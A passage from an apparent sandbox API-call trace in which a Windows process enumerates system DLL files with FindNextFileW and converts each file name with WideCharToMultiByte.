lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0xd3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0xd3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0xd3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.013] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0194.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0xd3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0194.170] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.170] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0xd3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0194.170] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.170] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0xd3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0194.170] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.171] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0194.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 